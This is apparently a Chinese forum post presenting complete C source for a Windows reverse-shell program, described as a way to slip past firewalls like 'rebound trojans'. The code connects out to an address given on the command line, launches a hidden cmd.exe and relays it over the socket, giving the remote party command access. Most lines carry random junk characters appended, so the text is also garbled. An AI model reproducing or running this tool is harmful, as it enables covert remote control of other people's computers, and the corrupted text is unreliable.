这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .UYhj8
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/* ============================== %-<6Z9otc
Rebound port in Windows NT nh? JiH
{
By wind,2006/7 pP%9MSCi
===============================*/ nd"$gi
#include VNwOD-b/]
#include P6A##z
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#pragma comment(lib,"wsock32.lib") Fg0!2MKq*
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void OutputShell(); LtGjHB\+
SOCKET sClient; O-!Q~;3][
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r-No\u_
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void main(int argc,char **argv) MS\?+8|SV(
{ Ec&_&
WSADATA stWsaData; Z+ _xX
int nRet; Y+eDE:4
SOCKADDR_IN stSaiClient,stSaiServer; Ro=dgQ0:t
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if(argc != 3) ?3gf)g=
{ F{Oaxn
printf("Useage:\n\rRebound DestIP DestPort\n"); Bh7hF?c Sj
return; 9W&nAr
} tBVtIOm9
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WSAStartup(MAKEWORD(2,2),&stWsaData); /vpwpVHIpG
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qL5~Wr m-W
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stSaiClient.sin_family = AF_INET; (9b%'@A@m
stSaiClient.sin_port = htons(0); T^q^JOC4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c4.2o<(Xt
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vy-q<6T}:p
{ sl:1P^b
printf("Bind Socket Failed!\n"); K^P&3H*(/n
return; :i|Bz6Ht4
} v8zO Y#?
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stSaiServer.sin_family = AF_INET; F`1J&S;C
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); In8{7&iVO
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (gIFuOGi>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,y@WFRsx
{ a:;7'w'
printf("Connect Error!"); aq\Fh7
return; Gd$!xN%O
} sRZ?Ilua6
OutputShell(); ~[=d{M!$W
} D=K{(0{"/,
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void OutputShell() v`S ;.iD
{ O*lE0~rJ
char szBuff[1024]; IC1nR
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SECURITY_ATTRIBUTES stSecurityAttributes; DXQ]b)y+N
OSVERSIONINFO stOsversionInfo; c}s#!|E0v
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dH'02[;
STARTUPINFO stStartupInfo; ZQn>+c2%!
char *szShell; BAi`{?z$<
PROCESS_INFORMATION stProcessInformation; FAX[|p
unsigned long lBytesRead; }z,9!{~`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TpI8mDO\W
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ai)>ot
stSecurityAttributes.lpSecurityDescriptor = 0; vy`
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stSecurityAttributes.bInheritHandle = TRUE; 3!%-O:!
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ) I(9qt>Y
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); XA;f.u
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bjI3xAs~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?H>^X)Ph
stStartupInfo.wShowWindow = SW_HIDE; H[}lzL)
stStartupInfo.hStdInput = hReadPipe; ouO9%)zv
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0/1=2E^,
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GetVersionEx(&stOsversionInfo); rITA-W O
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switch(stOsversionInfo.dwPlatformId) `jyyRwSoe
{ Db !8N
case 1: O*Y ? :
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szShell = "command.com"; :4\%a4{Ie
break; 2R,8q0qR:
default: 3177 R>0
szShell = "cmd.exe"; lBm`W]3T
break; FM(EOsWk
} T8%!l40v
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7GS4gSd3
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send(sClient,szMsg,77,0); i7cUp3
while(1) *e<}hmDr
{ Uq`6VpZ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _+Sf+ta
if(lBytesRead) o^Lq8u;i*
{ E" >`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oE6`]^^
send(sClient,szBuff,lBytesRead,0); 7WY~v2SDF
} 1Kr$JIcd
else z30 mk
{ EUVD)+it
lBytesRead=recv(sClient,szBuff,1024,0); :U/]*0b
if(lBytesRead<=0) break; #Ma:Av/
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !0P:G#o-$
} sI h5cT
} Ul6|LTY
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return; Gt
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}